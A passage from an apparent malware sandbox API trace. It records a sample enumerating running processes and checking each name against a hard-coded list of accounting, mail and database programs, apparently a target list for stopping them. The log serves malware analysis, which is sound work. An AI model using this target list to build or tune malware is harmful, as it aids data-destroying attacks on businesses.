szExeFile="smartftp.exe")) returned 1 [0088.740] lstrlenW (lpString="smartftp.exe") returned 12 [0088.740] lstrcmpiW (lpString1="1c8.exe", lpString2="smartftp.exe") returned -1 [0088.740] lstrcmpiW (lpString1="1cv77.exe", lpString2="smartftp.exe") returned -1 [0088.740] lstrcmpiW (lpString1="outlook.exe", lpString2="smartftp.exe") returned -1 [0088.740] lstrcmpiW (lpString1="postgres.exe", lpString2="smartftp.exe") returned -1 [0088.740] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smartftp.exe") returned -1 [0088.740] lstrcmpiW (lpString1="mysqld.exe", lpString2="smartftp.exe") returned -1 [0088.740] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smartftp.exe") returned 1 [0088.740] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0088.741] lstrlenW (lpString="thunderbird.exe") returned 15 [0088.741] lstrcmpiW (lpString1="1c8.exe", lpString2="thunderbird.exe") returned -1 [0088.741] lstrcmpiW (lpString1="1cv77.exe", lpString2="thunderbird.exe") returned -1 [0088.741] lstrcmpiW (lpString1="outlook.exe", lpString2="thunderbird.exe") returned -1 [0088.741] lstrcmpiW (lpString1="postgres.exe", lpString2="thunderbird.exe") returned -1 [0088.741] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="thunderbird.exe") returned -1 [0088.741] lstrcmpiW (lpString1="mysqld.exe", lpString2="thunderbird.exe") returned -1 [0088.741] lstrcmpiW (lpString1="sqlservr.exe", lpString2="thunderbird.exe") returned -1 [0088.741] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0088.742] lstrlenW (lpString="totalcmd.exe") returned 12 [0088.742] lstrcmpiW (lpString1="1c8.exe", lpString2="totalcmd.exe") returned -1 [0088.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="totalcmd.exe") returned -1 [0088.742] lstrcmpiW (lpString1="outlook.exe", lpString2="totalcmd.exe") returned -1 [0088.743] lstrcmpiW (lpString1="postgres.exe", lpString2="totalcmd.exe") returned -1 [0088.743] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="totalcmd.exe") returned -1 [0088.743] lstrcmpiW (lpString1="mysqld.exe", lpString2="totalcmd.exe") returned -1 [0088.743] lstrcmpiW (lpString1="sqlservr.exe", lpString2="totalcmd.exe") returned -1 [0088.743] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0088.744] lstrlenW (lpString="trillian.exe") returned 12 [0088.744] lstrcmpiW (lpString1="1c8.exe", lpString2="trillian.exe") returned -1 [0088.744] lstrcmpiW (lpString1="1cv77.exe", lpString2="trillian.exe") returned -1 [0088.744] lstrcmpiW (lpString1="outlook.exe", lpString2="trillian.exe") returned -1 [0088.744] lstrcmpiW (lpString1="postgres.exe", lpString2="trillian.exe") returned -1 [0088.744] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="trillian.exe") returned -1 [0088.744] lstrcmpiW (lpString1="mysqld.exe", lpString2="trillian.exe") returned -1 [0088.744] lstrcmpiW (lpString1="sqlservr.exe", lpString2="trillian.exe") returned -1 [0088.744] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0088.745] lstrlenW (lpString="webdrive.exe") returned 12 [0088.745] lstrcmpiW (lpString1="1c8.exe", lpString2="webdrive.exe") returned -1 [0088.745] lstrcmpiW (lpString1="1cv77.exe", lpString2="webdrive.exe") returned -1 [0088.745] lstrcmpiW (lpString1="outlook.exe", lpString2="webdrive.exe") returned -1 [0088.745] lstrcmpiW (lpString1="postgres.exe", lpString2="webdrive.exe") returned -1 [0088.745] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="webdrive.exe") returned -1 [0088.745] lstrcmpiW (lpString1="mysqld.exe", lpString2="webdrive.exe") returned -1 [0088.745] lstrcmpiW (lpString1="sqlservr.exe", lpString2="webdrive.exe") returned -1 [0088.745] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0088.746] lstrlenW (lpString="whatsapp.exe") returned 12 [0088.746] lstrcmpiW (lpString1="1c8.exe", lpString2="whatsapp.exe") returned -1 [0088.746] lstrcmpiW (lpString1="1cv77.exe", lpString2="whatsapp.exe") returned -1 [0088.746] lstrcmpiW (lpString1="outlook.exe", lpString2="whatsapp.exe") returned -1 [0088.746] lstrcmpiW (lpString1="postgres.exe", lpString2="whatsapp.exe") returned -1 [0088.746] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="whatsapp.exe") returned -1 [0088.746] lstrcmpiW (lpString1="mysqld.exe", lpString2="whatsapp.exe") returned -1 [0088.746] lstrcmpiW (lpString1="sqlservr.exe", lpString2="whatsapp.exe") returned -1 [0088.746] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0088.747] lstrlenW (lpString="winscp.exe") returned 10 [0088.747] lstrcmpiW (lpString1="1c8.exe", lpString2="winscp.exe") returned -1 [0088.747] lstrcmpiW (lpString1="1cv77.exe", lpString2="winscp.exe") returned -1 [0088.747] lstrcmpiW (lpString1="outlook.exe", lpString2="winscp.exe") returned -1 [0088.748] lstrcmpiW (lpString1="postgres.exe", lpString2="winscp.exe") returned -1 [0088.748] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winscp.exe") returned -1 [0088.748] lstrcmpiW (lpString1="mysqld.exe", lpString2="winscp.exe") returned -1 [0088.748] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winscp.exe") returned -1 [0088.748] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0088.749] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0088.749] lstrcmpiW (lpString1="1c8.exe", lpString2="yahoomessenger.exe") returned -1 [0088.749] lstrcmpiW (lpString1="1cv77.exe", lpString2="yahoomessenger.exe") returned -1 [0088.749] lstrcmpiW (lpString1="outlook.exe", lpString2="yahoomessenger.exe") returned -1 [0088.749] lstrcmpiW (lpString1="postgres.exe", lpString2="yahoomessenger.exe") returned -1 [0088.749] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="yahoomessenger.exe") returned -1 [0088.749] lstrcmpiW (lpString1="mysqld.exe", lpString2="yahoomessenger.exe") returned -1 [0088.749] lstrcmpiW (lpString1="sqlservr.exe", lpString2="yahoomessenger.exe") returned -1 [0088.749] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0088.750] lstrlenW (lpString="active-charge.exe") returned 17 [0088.750] lstrcmpiW (lpString1="1c8.exe", lpString2="active-charge.exe") returned -1 [0088.750] lstrcmpiW (lpString1="1cv77.exe", lpString2="active-charge.exe") returned -1 [0088.750] lstrcmpiW (lpString1="outlook.exe", lpString2="active-charge.exe") returned 1 [0088.750] lstrcmpiW (lpString1="postgres.exe", lpString2="active-charge.exe") returned 1 [0088.750] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="active-charge.exe") returned 1 [0088.750] lstrcmpiW (lpString1="mysqld.exe", lpString2="active-charge.exe") returned 1 [0088.750] lstrcmpiW (lpString1="sqlservr.exe", lpString2="active-charge.exe") returned 1 [0088.750] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0088.751] lstrlenW (lpString="accupos.exe") returned 11 [0088.751] lstrcmpiW (lpString1="1c8.exe", lpString2="accupos.exe") returned -1 [0088.752] lstrcmpiW (lpString1="1cv77.exe", lpString2="accupos.exe") returned -1 [0088.752] lstrcmpiW (lpString1="outlook.exe", lpString2="accupos.exe") returned 1 [0088.752] lstrcmpiW (lpString1="postgres.exe", lpString2="accupos.exe") returned 1 [0088.752] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="accupos.exe") returned 1 [0088.752] lstrcmpiW (lpString1="mysqld.exe", lpString2="accupos.exe") returned 1 [0088.752] lstrcmpiW (lpString1="sqlservr.exe", lpString2="accupos.exe") returned 1 [0088.752] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0088.753] lstrlenW (lpString="afr38.exe") returned 9 [0088.753] lstrcmpiW (lpString1="1c8.exe", lpString2="afr38.exe") returned -1 [0088.753] lstrcmpiW (lpString1="1cv77.exe", lpString2="afr38.exe") returned -1 [0088.753] lstrcmpiW (lpString1="outlook.exe", lpString2="afr38.exe") returned 1 [0088.753] lstrcmpiW (lpString1="postgres.exe", lpString2="afr38.exe") returned 1 [0088.753] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="afr38.exe") returned 1 [0088.753] lstrcmpiW (lpString1="mysqld.exe", lpString2="afr38.exe") returned 1 [0088.753] lstrcmpiW (lpString1="sqlservr.exe", lpString2="afr38.exe") returned 1 [0088.753] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0088.754] lstrlenW (lpString="aldelo.exe") returned 10 [0088.754] lstrcmpiW (lpString1="1c8.exe", lpString2="aldelo.exe") returned -1 [0088.754] lstrcmpiW (lpString1="1cv77.exe", lpString2="aldelo.exe") returned -1 [0088.754] lstrcmpiW (lpString1="outlook.exe", lpString2="aldelo.exe") returned 1 [0088.754] lstrcmpiW (lpString1="postgres.exe", lpString2="aldelo.exe") returned 1 [0088.754] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="aldelo.exe") returned 1 [0088.754] lstrcmpiW (lpString1="mysqld.exe", lpString2="aldelo.exe") returned 1 [0088.754] lstrcmpiW (lpString1="sqlservr.exe", lpString2="aldelo.exe") returned 1 [0088.754] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0088.755] lstrlenW (lpString="ccv_server.exe") returned 14 [0088.755] lstrcmpiW (lpString1="1c8.exe", lpString2="ccv_server.exe") returned -1 [0088.755] lstrcmpiW (lpString1="1cv77.exe", lpString2="ccv_server.exe") returned -1 [0088.755] lstrcmpiW (lpString1="outlook.exe", lpString2="ccv_server.exe") returned 1 [0088.755] lstrcmpiW (lpString1="postgres.exe", lpString2="ccv_server.exe") returned 1 [0088.755] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ccv_server.exe") returned 1 [0088.755] lstrcmpiW (lpString1="mysqld.exe", lpString2="ccv_server.exe") returned 1 [0088.755] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ccv_server.exe") returned 1 [0088.755] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0088.756] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0088.756] lstrcmpiW (lpString1="1c8.exe", lpString2="centralcreditcard.exe") returned -1 [0088.756] lstrcmpiW (lpString1="1cv77.exe", lpString2="centralcreditcard.exe") returned -1 [0088.756] lstrcmpiW (lpString1="outlook.exe", lpString2="centralcreditcard.exe") returned 1 [0088.756] lstrcmpiW (lpString1="postgres.exe", lpString2="centralcreditcard.exe") returned 1 [0088.756] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="centralcreditcard.exe") returned 1 [0088.757] lstrcmpiW (lpString1="mysqld.exe", lpString2="centralcreditcard.exe") returned 1 [0088.757] lstrcmpiW (lpString1="sqlservr.exe", lpString2="centralcreditcard.exe") returned 1 [0088.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0088.757] lstrlenW (lpString="creditservice.exe") returned 17 [0088.758] lstrcmpiW (lpString1="1c8.exe", lpString2="creditservice.exe") returned -1 [0088.758] lstrcmpiW (lpString1="1cv77.exe", lpString2="creditservice.exe") returned -1 [0088.758] lstrcmpiW (lpString1="outlook.exe", lpString2="creditservice.exe") returned 1 [0088.758] lstrcmpiW (lpString1="postgres.exe", lpString2="creditservice.exe") returned 1 [0088.758] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="creditservice.exe") returned 1 [0088.758] lstrcmpiW (lpString1="mysqld.exe", lpString2="creditservice.exe") returned 1 [0088.758] lstrcmpiW (lpString1="sqlservr.exe", lpString2="creditservice.exe") returned 1 [0088.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0088.759] lstrlenW (lpString="edcsvr.exe") returned 10 [0088.759] lstrcmpiW (lpString1="1c8.exe", lpString2="edcsvr.exe") returned -1 [0088.759] lstrcmpiW (lpString1="1cv77.exe", lpString2="edcsvr.exe") returned -1 [0088.759] lstrcmpiW (lpString1="outlook.exe", lpString2="edcsvr.exe") returned 1 [0088.759] lstrcmpiW (lpString1="postgres.exe", lpString2="edcsvr.exe") returned 1 [0088.759] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="edcsvr.exe") returned 1 [0088.759] lstrcmpiW (lpString1="mysqld.exe", lpString2="edcsvr.exe") returned 1 [0088.759] lstrcmpiW (lpString1="sqlservr.exe", lpString2="edcsvr.exe") returned 1 [0088.759] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0088.760] lstrlenW (lpString="fpos.exe") returned 8 [0088.760] lstrcmpiW (lpString1="1c8.exe", lpString2="fpos.exe") returned -1 [0088.760] lstrcmpiW (lpString1="1cv77.exe", lpString2="fpos.exe") returned -1 [0088.760] lstrcmpiW (lpString1="outlook.exe", lpString2="fpos.exe") returned 1 [0088.760] lstrcmpiW (lpString1="postgres.exe", lpString2="fpos.exe") returned 1 [0088.760] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fpos.exe") returned 1 [0088.760] lstrcmpiW (lpString1="mysqld.exe", lpString2="fpos.exe") returned 1 [0088.760] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fpos.exe") returned 1 [0088.760] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0088.761] lstrlenW (lpString="isspos.exe") returned 10 [0088.762] lstrcmpiW (lpString1="1c8.exe", lpString2="isspos.exe") returned -1 [0088.762] lstrcmpiW (lpString1="1cv77.exe", lpString2="isspos.exe") returned -1 [0088.762] lstrcmpiW (lpString1="outlook.exe", lpString2="isspos.exe") returned 1 [0088.762] lstrcmpiW (lpString1="postgres.exe", lpString2="isspos.exe") returned 1 [0088.762] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="isspos.exe") returned 1 [0088.762] lstrcmpiW (lpString1="mysqld.exe", lpString2="isspos.exe") returned 1 [0088.762] lstrcmpiW (lpString1="sqlservr.exe", lpString2="isspos.exe") returned 1 [0088.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0088.763] lstrlenW (lpString="mxslipstream.exe") returned 16 [0088.763] lstrcmpiW (lpString1="1c8.exe", lpString2="mxslipstream.exe") returned -1 [0088.763] lstrcmpiW (lpString1="1cv77.exe", lpString2="mxslipstream.exe") returned -1 [0088.763] lstrcmpiW (lpString1="outlook.exe", lpString2="mxslipstream.exe") returned 1 [0088.763] lstrcmpiW (lpString1="postgres.exe", lpString2="mxslipstream.exe") returned 1 [0088.763] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="mxslipstream.exe") returned 1 [0088.763] lstrcmpiW (lpString1="mysqld.exe", lpString2="mxslipstream.exe") returned 1 [0088.763] lstrcmpiW (lpString1="sqlservr.exe", lpString2="mxslipstream.exe") returned 1 [0088.763] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0088.764] lstrlenW (lpString="omnipos.exe") returned 11 [0088.764] lstrcmpiW (lpString1="1c8.exe", lpString2="omnipos.exe") returned -1 [0088.764] lstrcmpiW (lpString1="1cv77.exe", lpString2="omnipos.exe") returned -1 [0088.764] lstrcmpiW (lpString1="outlook.exe", lpString2="omnipos.exe") returned 1 [0088.764] lstrcmpiW (lpString1="postgres.exe", lpString2="omnipos.exe") returned 1 [0088.764] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="omnipos.exe") returned -1 [0088.764] lstrcmpiW (lpString1="mysqld.exe", lpString2="omnipos.exe") returned -1 [0088.764] lstrcmpiW (lpString1="sqlservr.exe", lpString2="omnipos.exe") returned 1 [0088.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0088.765] lstrlenW (lpString="spcwin.exe") returned 10 [0088.765] lstrcmpiW (lpString1="1c8.exe", lpString2="spcwin.exe") returned -1 [0088.765] lstrcmpiW (lpString1="1cv77.exe", lpString2="spcwin.exe") returned -1 [0088.765] lstrcmpiW (lpString1="outlook.exe", lpString2="spcwin.exe") returned -1 [0088.765] lstrcmpiW (lpString1="postgres.exe", lpString2="spcwin.exe") returned -1 [0088.765] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spcwin.exe") returned -1 [0088.765] lstrcmpiW (lpString1="mysqld.exe", lpString2="spcwin.exe") returned -1 [0088.765] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spcwin.exe") returned 1 [0088.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0088.766] lstrlenW (lpString="spgagentservice.exe") returned 19 [0088.766] lstrcmpiW (lpString1="1c8.exe", lpString2="spgagentservice.exe") returned -1 [0088.766] lstrcmpiW (lpString1="1cv77.exe", lpString2="spgagentservice.exe") returned -1 [0088.766] lstrcmpiW (lpString1="outlook.exe", lpString2="spgagentservice.exe") returned -1 [0088.766] lstrcmpiW (lpString1="postgres.exe", lpString2="spgagentservice.exe") returned -1 [0088.766] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spgagentservice.exe") returned -1 [0088.766] lstrcmpiW (lpString1="mysqld.exe", lpString2="spgagentservice.exe") returned -1 [0088.766] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spgagentservice.exe") returned 1 [0088.766] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0088.767] lstrlenW (lpString="utg2.exe") returned 8 [0088.767] lstrcmpiW (lpString1="1c8.exe", lpString2="utg2.exe") returned -1 [0088.767] lstrcmpiW (lpString1="1cv77.exe", lpString2="utg2.exe") returned -1 [0088.767] lstrcmpiW (lpString1="outlook.exe", lpString2="utg2.exe") returned -1 [0088.767] lstrcmpiW (lpString1="postgres.exe", lpString2="utg2.exe") returned -1 [0088.767] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="utg2.exe") returned -1 [0088.768] lstrcmpiW (lpString1="mysqld.exe", lpString2="utg2.exe") returned -1 [0088.768] lstrcmpiW (lpString1="sqlservr.exe", lpString2="utg2.exe") returned -1 [0088.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0088.768] lstrlenW (lpString="controlling.exe") returned 15 [0088.768] lstrcmpiW (lpString1="1c8.exe", lpString2="controlling.exe") returned -1 [0088.769] lstrcmpiW (lpString1="1cv77.exe", lpString2="controlling.exe") returned -1 [0088.769] lstrcmpiW (lpString1="outlook.exe", lpString2="controlling.exe") returned 1 [0088.769] lstrcmpiW (lpString1="postgres.exe", lpString2="controlling.exe") returned 1 [0088.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="controlling.exe") returned 1 [0088.769] lstrcmpiW (lpString1="mysqld.exe", lpString2="controlling.exe") returned 1 [0088.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="controlling.exe") returned 1 [0088.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0088.770] lstrlenW (lpString="assess climate.exe") returned 18 [0088.770] lstrcmpiW (lpString1="1c8.exe", lpString2="assess climate.exe") returned -1 [0088.770] lstrcmpiW (lpString1="1cv77.exe", lpString2="assess climate.exe") returned -1 [0088.770] lstrcmpiW (lpString1="outlook.exe", lpString2="assess climate.exe") returned 1 [0088.770] lstrcmpiW (lpString1="postgres.exe", lpString2="assess climate.exe") returned 1 [0088.770] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="assess climate.exe") returned 1 [0088.770] lstrcmpiW (lpString1="mysqld.exe", lpString2="assess climate.exe") returned 1 [0088.770] lstrcmpiW (lpString1="sqlservr.exe", lpString2="assess climate.exe") returned 1 [0088.770] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0088.771] lstrlenW (lpString="color_infection.exe") returned 19 [0088.771] lstrcmpiW (lpString1="1c8.exe", lpString2="color_infection.exe") returned -1 [0088.771] lstrcmpiW (lpString1="1cv77.exe", lpString2="color_infection.exe") returned -1 [0088.771] lstrcmpiW (lpString1="outlook.exe", lpString2="color_infection.exe") returned 1 [0088.771] lstrcmpiW (lpString1="postgres.exe", lpString2="color_infection.exe") returned 1 [0088.771] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="color_infection.exe") returned 1 [0088.771] lstrcmpiW (lpString1="mysqld.exe", lpString2="color_infection.exe") returned 1 [0088.771] lstrcmpiW (lpString1="sqlservr.exe", lpString2="color_infection.exe") returned 1 [0088.771] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0088.799] lstrlenW (lpString="home.exe") returned 8 [0088.799] lstrcmpiW (lpString1="1c8.exe", lpString2="home.exe") returned -1 [0088.799] lstrcmpiW (lpString1="1cv77.exe", lpString2="home.exe") returned -1 [0088.799] lstrcmpiW (lpString1="outlook.exe", lpString2="home.exe") returned 1 [0088.799] lstrcmpiW (lpString1="postgres.exe", lpString2="home.exe") returned 1 [0088.799] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="home.exe") returned 1 [0088.799] lstrcmpiW (lpString1="mysqld.exe", lpString2="home.exe") returned 1 [0088.799] lstrcmpiW (lpString1="sqlservr.exe", lpString2="home.exe") returned 1 [0088.799] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0088.800] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0088.800] lstrcmpiW (lpString1="1c8.exe", lpString2="assignedeliminatemidi.exe") returned -1 [0088.800] lstrcmpiW (lpString1="1cv77.exe", lpString2="assignedeliminatemidi.exe") returned -1 [0088.800] lstrcmpiW (lpString1="outlook.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0088.801] lstrcmpiW (lpString1="postgres.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0088.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0088.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0088.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="assignedeliminatemidi.exe") returned 1 [0088.801] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.802] lstrlenW (lpString="WmiPrvSE.exe") returned 12 